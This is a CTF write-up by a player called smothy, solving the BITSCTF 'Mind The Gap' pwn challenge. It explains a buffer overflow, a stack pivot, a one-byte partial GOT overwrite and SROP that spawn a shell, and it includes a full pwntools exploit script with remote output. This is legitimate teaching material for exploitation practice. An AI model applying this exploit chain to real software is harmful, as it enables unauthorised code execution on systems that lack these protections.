Mind The Gap

Bitskrieg CTFby smothy

Mind The Gap - PWN

Points: 496 | Flag: BITSCTF{ac82445fd78d086371ff7ab58e9a83b4} | Solved by: Smothy @ 0xN1umb

mind the gap

what we got

binary called mind_the_gap + libc 2.42 + loader. challenge description talks about "vast voids between sectors" and "mind the gap". spooky.

$ checksec mind_the_gap Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fa000) SHSTK: Enabled IBT: Enabled

no canary, no PIE, partial RELRO. NX on tho so no shellcode. ok lets see what we're working with.

the binary

opened it in IDA and ngl i laughed. the entire .text section is like 0x115 bytes. main is literally:

asm
main:
  push    rbp
  mov     rbp, rsp
  sub     rsp, 100h          ; 0x100 byte buffer
  lea     rax, [rbp-100h]
  mov     edx, 200h          ; reads 0x200 bytes
  mov     rsi, rax
  mov     edi, 0
  call    read@plt           ; read(0, buf, 0x200) - OVERFLOW
  mov     eax, 0
  leave
  ret

thats it. thats the whole program. read(0, buf, 0x200) with a 0x100 buffer = 0x100 bytes of overflow. classic bof.

but here's the twist - the only import is read. no write, no puts, no printf. zero output functions. so we can't leak anything. and the memory layout is WILD:

0x3fa000 - ELF headers/interp (RW) 0x3fc000 - dynsym/dynstr (RW) 0x3fe000 - .dynamic (RW) 0x400000 - version info (R) 0x600000 - .text (RE) <-- code lives here 0x800000 - .rodata (R) 0xbff000 - GOT/data/bss (RW)

massive gaps between every segment. "mind the gap" indeed lmao

the solve

ok so: no leak, no output, only read. what can we even do?

SROP (Sigreturn-Oriented Programming). the galaxy brain move.

galaxy brain

the plan

  1. overflow -> stack pivot to writable memory (0xc00xxx page)
  2. chain reads to set up a SigreturnFrame in memory
  3. partial GOT overwrite: change read -> syscall (1 byte!)
  4. trigger rt_sigreturn -> execve("/bin/sh", 0, 0)

key gadgets

the binary is tiny but we got everything we need:

0x600145 - lea rax,[rbp-0x100]; mov edx,0x200; mov rsi,rax; mov edi,0; call read@plt (this is main's read setup - our swiss army knife) 0x600040 - read@plt: endbr64; jmp [0xc00000] 0xc00000 - GOT[read] (writable! outside RELRO range)

the main gadget at 0x600145 is everything. by controlling rbp, we control:

  • WHERE it reads (rsi = rbp - 0x100)
  • AND rax gets set to rbp - 0x100 (useful for syscall number!)

step 1: stack pivot

overflow the buffer, set saved_rbp to 0xc00200, return to 0x600145:

python
stage1  = b'A' * 0x100          # fill buffer
stage1 += p64(0xc00200)         # saved RBP -> writable area
stage1 += p64(0x600145)         # ret -> main's read gadget

now main reads to rbp-0x100 = 0xc00100. we pivoted to the writable page. ez.

step 2: write SROP payload

send the SigreturnFrame + chain to 0xc00100:

python
# After this read, leave;ret uses [0xc00200] as rbp and [0xc00208] as ret
stage2  = p64(0x10F)            # 0xc00100: rbp for SROP trigger later
stage2 += p64(0x600145)         # 0xc00108: ret for SROP trigger
stage2 += frame_bytes[8:]       # 0xc00110: SigreturnFrame (240 bytes)
stage2 += p64(0xc00100)         # 0xc00200: rbp for GOT overwrite step
stage2 += p64(0x600145)         # 0xc00208: ret for GOT overwrite step

the frame has everything for execve:

  • rax = 59 (execve)
  • rdi = 0xc00130 (pointer to "/bin/sh" stored in the frame's r8 slot - sneaky!)
  • rsi = 0, rdx = 0
  • rip = read@plt (which will jmp to syscall after GOT overwrite)
  • csgsfs = 0x002b000000000033 (cs=0x33, ss=0x2b - this was crucial)

step 3: partial GOT overwrite

the chain returns to the main gadget with rbp=0xc00100, which reads to 0xc00000 - that's the GOT! we send exactly 1 byte:

python
p.send(b'\x8f')

libc's read is at offset 0x11ba80. the syscall instruction inside it is at 0x11ba8f. since ASLR only randomizes at page granularity, the last byte is always 0x80. we change it to 0x8f. 100% reliable, no bruteforce needed.

step 4: SROP trigger

after the GOT overwrite, leave;ret goes to our setup:

  • rbp = 0x10F (from [0xc00100])
  • rip = 0x600145 (from [0xc00108])

at the main gadget: lea rax, [0x10F - 0x100] = rax = 0xF = 15 = SYS_rt_sigreturn

then call read@plt -> jmp [GOT] -> hits the syscall instruction with rax=15 -> rt_sigreturn!

kernel reads our SigreturnFrame, restores all registers, jumps to rip=read@plt -> syscall again, this time with rax=59 -> execve("/bin/sh", NULL, NULL)

the gotcha

ngl this took a minute to debug. the exploit kept SIGSEGV'ing after sigreturn. strace showed rt_sigreturn = 59 then crash. turns out the ss (stack segment) register was 0x0 instead of 0x2b. pwntools packs cs/gs/fs/ss into one field called csgsfs:

python
# the fix that made everything work
frame['csgsfs'] = 0x002b000000000033  # cs=0x33, ss=0x2b
frame['eflags'] = 0x202               # IF flag

without proper segment registers the kernel just yeets your process lol

full exploit

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

def start():
    if args.REMOTE:
        return remote(args.HOST or "chals.bitskrieg.in", int(args.PORT or 1337))
    return process('./mind_the_gap')

MAIN_LEA    = 0x600145
READ_PLT    = 0x600040
BINSH_ADDR  = 0xc00130   # r8 slot in the SigreturnFrame

frame = SigreturnFrame()
frame.r8  = u64(b'/bin/sh\x00')   # store string in the frame itself
frame.rax = constants.SYS_execve  # 59
frame.rdi = BINSH_ADDR
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0xc00500
frame.rip = READ_PLT
frame['csgsfs'] = 0x002b000000000033
frame['eflags'] = 0x202
fb = bytes(frame)

p = start()

# Stage 1: overflow -> pivot to writable page
stage1  = b'A' * 0x100 + p64(0xc00200) + p64(MAIN_LEA)
stage1  = stage1.ljust(0x200, b'\x00')
p.send(stage1); sleep(0.3)

# Stage 2: SROP frame + chain
stage2  = p64(0x10F) + p64(MAIN_LEA) + fb[8:]
stage2 += p64(0xc00100) + p64(MAIN_LEA)
stage2  = stage2.ljust(0x200, b'\x00')
p.send(stage2); sleep(0.3)

# Stage 3: partial GOT overwrite (read -> syscall)
p.send(b'\x8f'); sleep(0.5)

# shell!
p.interactive()
$ python3 exploit.py REMOTE HOST=chals.bitskrieg.in PORT=41627 [+] Opening connection to chals.bitskrieg.in on port 41627: Done $ id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) $ cat /flag* BITSCTF{ac82445fd78d086371ff7ab58e9a83b4}

shell popped

flag

BITSCTF{ac82445fd78d086371ff7ab58e9a83b4}

tldr

tiny binary, only read, huge memory gaps. SROP with partial GOT overwrite (1 byte, 100% reliable). the csgsfs segment register thing almost made me lose my mind fr. classic "simple binary, hard exploitation" challenge. loved it.


smothy out ✌️